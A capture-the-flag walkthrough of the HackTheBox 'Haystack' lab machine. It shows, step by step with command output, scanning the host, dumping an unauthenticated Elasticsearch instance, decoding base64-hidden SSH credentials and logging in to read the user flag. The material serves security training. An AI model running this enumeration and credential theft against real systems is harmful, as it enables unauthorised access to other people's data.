Part 2 : Getting User Access
Let's see which directories we can find on the 80th port : using the dirsearch command.
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack]
→ dirsearch -u http://10.10.10.115/ -t 50 -e txt,php,html,js
git clone https://github.com/maurosoria/dirsearch.git
dirsearch -u -e -t 50 -x 500
_|. _ _ _ _ _ _|_ v0.3.9
(_||| _) (/_(_|| (_| )
Extensions: txt, php, html, js | HTTP method: get | Threads: 50 | Wordlist size: 7126
Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-15_10-10-36.log
Target: http://10.10.10.115/
[10:10:37] Starting:
[10:10:39] 400 - 173B - /%2e%2e/google.com
[10:10:55] 200 - 55B - /index.html
Task Completed
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack]
→ nikto -h http://haystack.htb/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.115
+ Target Hostname: haystack.htb
+ Target Port: 80
+ Start Time: 2020-02-15 10:11:20 (GMT0)
---------------------------------------------------------------------------
+ Server: nginx/1.12.2
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)/
Not much to see on that port from either dirsearch nor nikto, let's poke around the box a little further
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ curl -sk http://haystack.htb/robots.txt | grep nginx
<hr><center>nginx/1.12.2</center>
looks like we have nginx 1.12.2 running on this machine, just like how our nmap scan suggested.
on index.html of port 80, we find a jpg file named needle, we download it locally and examine it with exiftool.
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ wget http://haystack.htb/needle.jpg
--2020-02-15 10:18:22-- http://haystack.htb/needle.jpg
Resolving haystack.htb (haystack.htb)... 10.10.10.115
Connecting to haystack.htb (haystack.htb)|10.10.10.115|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 182982 (179K) [image/jpeg]
Saving to: ‘needle.jpg’
needle.jpg 100%[===============================================>] 178.69K 155KB/s in 1.2s
2020-02-15 10:18:24 (155 KB/s) - ‘needle.jpg’ saved [182982/182982]
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ exiftool needle.jpg
ExifTool Version Number : 11.86
File Name : needle.jpg
Directory : .
File Size : 179 kB
File Modification Date/Time : 2019:01:25 23:37:55+00:00
File Access Date/Time : 2020:02:15 10:18:49+00:00
File Inode Change Date/Time : 2020:02:15 10:18:24+00:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
X Resolution : 96
Y Resolution : 96
Resolution Unit : inches
Software : paint.net 4.1.1
User Comment : CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90.
Image Width : 1200
Image Height : 803
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 1200x803
Megapixels : 0.964
not so many useful infos there, let's run the strings command aswell
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ strings needle.jpg
[...]
STW5
*Oo!;.o|?>
.n2FrZ
rrNMz
#=pMr
BN2I
,'*'
I$f2/<-iy
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
looks like a base64 string right at the end, let's decrypt it using base64 -d
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ echo "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d
la aguja en el pajar es "clave"
Translating it from spanish it says "the needle in the haystack is "key" "
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ nmap -F 10.10.10.115 --top-ports 10000 -vvv
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 10:14 GMT
Initiating Ping Scan at 10:14
Scanning 10.10.10.115 [4 ports]
Completed Ping Scan at 10:14, 0.14s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 10:14
Scanning haystack.htb (10.10.10.115) [8320 ports]
Discovered open port 80/tcp on 10.10.10.115
Discovered open port 22/tcp on 10.10.10.115
Discovered open port 9200/tcp on 10.10.10.115
Completed SYN Stealth Scan at 10:15, 29.20s elapsed (8320 total ports)
Nmap scan report for haystack.htb (10.10.10.115)
Host is up, received echo-reply ttl 63 (0.11s latency).
Scanned at 2020-02-15 10:14:40 GMT for 30s
Not shown: 8317 filtered ports
Reason: 8283 no-responses and 34 host-prohibiteds
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
9200/tcp open wap-wsp syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 29.50 seconds
Raw packets sent: 16621 (731.300KB) | Rcvd: 330 (73.816KB)
looks like we have another port to work with, 9200 is running something, let's find out what it is with the -sCV flag.
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ nmap -sCV -p9200 10.10.10.115
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 10:16 GMT
Nmap scan report for haystack.htb (10.10.10.115)
Host is up (0.094s latency).
PORT STATE SERVICE VERSION
9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.14 seconds
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ curl -sk http://haystack.htb:9200
{
"name" : "iQEYHgS",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg",
"version" : {
"number" : "6.4.2",
"build_flavor" : "default",
"build_type" : "rpm",
"build_hash" : "04711c2",
"build_date" : "2018-09-26T13:34:09.098244Z",
"build_snapshot" : false,
"lucene_version" : "7.4.0",
"minimum_wire_compatibility_version" : "5.6.0",
"minimum_index_compatibility_version" : "5.0.0"
},
"tagline" : "You Know, for Search"
}
looks like we have to deal with an elasticsearch service,
running curl once more into the /_cat/indices?v URL we find some information in a cluster.
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ curl -sk http://haystack.htb:9200/_cat/indices/\?v
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
we see that indexes .kibana , quotes and bank are also opened, let's investigate them.
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ curl -X POST http://haystack.htb:9200/\/_search
{"error":{"root_cause":[{"type":"index_not_found_exception","reason":"no such index","resource.type":"index_or_alias","resource.id":"index","index_uuid":"_na_","index":"index"}],"type":"index_not_found_exception","reason":"no such index","resource.type":"index_or_alias","resource.id":"index","index_uuid":"_na_","index":"index"},"status":404}#
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ curl -X POST http://haystack.htb:9200/bank/_search
{"took":18,"timed_out":false,"_shards":{"total":5,"successful":5,"skipped":0,"failed":0},"hits":{"total":1000,"max_score":1.0,"hits":[{"_index":"bank","_type":"account","_id":"25","_score":1.0,"_source":{"account_number":25,"balance":40540,"firstname":"Virginia","lastname":"Ayala","age":39,"gender":"F","address":"171 Putnam Avenue","employer":"Filodyne","email":"virginiaayala@filodyne.com","city":"Nicholson","state":"PA"}},{"_index":"bank","_type":"account","_id":"44","_score":1.0,"_source":{"account_number":44,"balance":34487,"firstname":"Aurelia","lastname":"Harding","age":37,"gender":"M","address":"502 Baycliff Terrace","employer":"Orbalix","email":"aureliaharding@orbalix.com","city":"Yardville","state":"DE"}},{"_index":"bank","_type":"account","_id":"99","_score":1.0,"_source":{"account_number":99,"balance":47159,"firstname":"Ratliff","lastname":"Heath","age":39,"gender":"F","address":"806 Rockwell Place","employer":"Zappix","email":"ratliffheath@zappix.com","city":"Shaft","state":"ND"}},{"_index":"bank","_type":"account","_id":"119","_score":1.0,"_source":{"account_number":119,"balance":49222,"firstname":"Laverne","lastname":"Johnson","age":28,"gender":"F","address":"302 Howard Place","employer":"Senmei","email":"lavernejohnson@senmei.com","city":"Herlong","state":"DC"}},{"_index":"bank","_type":"account","_id":"126","_score":1.0,"_source":{"account_number":126,"balance":3607,"firstname":"Effie","lastname":"Gates","age":39,"gender":"F","address":"620 National Drive","employer":"Digitalus","email":"effiegates@digitalus.com","city":"Blodgett","state":"MD"}},{"_index":"bank","_type":"account","_id":"145","_score":1.0,"_source":{"account_number":145,"balance":47406,"firstname":"Rowena","lastname":"Wilkinson","age":32,"gender":"M","address":"891 Elton Street","employer":"Asimiline","email":"rowenawilkinson@asimiline.com","city":"Ripley","state":"NH"}},{"_index":"bank","_type":"account","_id":"183","_score":1.0,"_source":{"account_number":183,"balance":14223,"firstname":"Hudson","lastname":"English","age":26,"gender":"F","address":"823 Herkimer Place","employer":"Xinware","email":"hudsonenglish@xinware.com","city":"Robbins","state":"ND"}},{"_index":"bank","_type":"account","_id":"190","_score":1.0,"_source":{"account_number":190,"balance":3150,"firstname":"Blake","lastname":"Davidson","age":30,"gender":"F","address":"636 Diamond Street","employer":"Quantasis","email":"blakedavidson@quantasis.com","city":"Crumpler","state":"KY"}},{"_index":"bank","_type":"account","_id":"208","_score":1.0,"_source":{"account_number":208,"balance":40760,"firstname":"Garcia","lastname":"Hess","age":26,"gender":"F","address":"810 Nostrand Avenue","employer":"Quiltigen","email":"garciahess@quiltigen.com","city":"Brooktrails","state":"GA"}},{"_index":"bank","_type":"account","_id":"222","_score":1.0,"_source":{"account_number":222,"balance":14764,"firstname":"Rachelle","lastname":"Rice","age":36,"gender":"M","address":"333 Narrows Avenue","employer":"Enaut","email":"rachellerice@enaut.com","city":"Wright","state":"AZ"}}]}}
as you can see, this dumps alot of json data, let's use a tool called elasticdump instead.
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ npm install elasticdump -g
npm WARN deprecated request@2.88.2: request has been deprecated, see https://github.com/request/request/issues/3142
npm WARN deprecated s3signed@0.1.0: This module is no longer maintained. It is provided as is.
/usr/local/bin/elasticdump -> /usr/local/lib/node_modules/elasticdump/bin/elasticdump
/usr/local/bin/multielasticdump -> /usr/local/lib/node_modules/elasticdump/bin/multielasticdump
+ elasticdump@6.21.0
added 103 packages from 146 contributors in 12.289s
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack]
→ elasticdump --input=http://10.10.10.115:9200/quotes --output=quotes.json --type=data
Sat, 15 Feb 2020 10:45:50 GMT | starting dump
Sat, 15 Feb 2020 10:45:51 GMT | got 100 objects from source elasticsearch (offset: 0)
Sat, 15 Feb 2020 10:45:51 GMT | sent 100 objects to destination file, wrote 100
Sat, 15 Feb 2020 10:45:52 GMT | got 100 objects from source elasticsearch (offset: 100)
Sat, 15 Feb 2020 10:45:52 GMT | sent 100 objects to destination file, wrote 100
Sat, 15 Feb 2020 10:45:52 GMT | got 53 objects from source elasticsearch (offset: 200)
Sat, 15 Feb 2020 10:45:52 GMT | sent 53 objects to destination file, wrote 53
Sat, 15 Feb 2020 10:45:52 GMT | got 0 objects from source elasticsearch (offset: 253)
Sat, 15 Feb 2020 10:45:52 GMT | Total Writes: 253
Sat, 15 Feb 2020 10:45:52 GMT | dump complete
earlier on, needle.jpg yielded a hint for us, which was the word "clave" , let's grep for it
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack]
→ cat quotes.json| grep clave
{"_index":"quotes","_type":"quote","_id":"111","_score":1,"_source":{"quote":"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="}}
{"_index":"quotes","_type":"quote","_id":"45","_score":1,"_source":{"quote":"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "}}
looks like we have 2 base64 strings to decrypt, let's see what we get
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ echo "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d
pass: spanish.is.key
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ echo "dXNlcjogc2VjdXJpdHkg" | base64 -d
user: security
looks like we have credentials ! security:spanish.is.key, let's try to log in via ssh
λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack]
→ ssh security@haystack.htb
The authenticity of host 'haystack.htb (10.10.10.115)' can't be established.
ECDSA key fingerprint is SHA256:ihn2fPA4jrn1hytN0y9Z3vKpIKuL4YYe3yuESD76JeA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'haystack.htb,10.10.10.115' (ECDSA) to the list of known hosts.
security@haystack.htb's password:
Last login: Wed Feb 6 20:53:59 2019 from 192.168.2.154
[security@haystack ~]$ uname -a
Linux haystack 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[security@haystack ~]$ cat /home/security/user.txt
04XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have the user flag :)
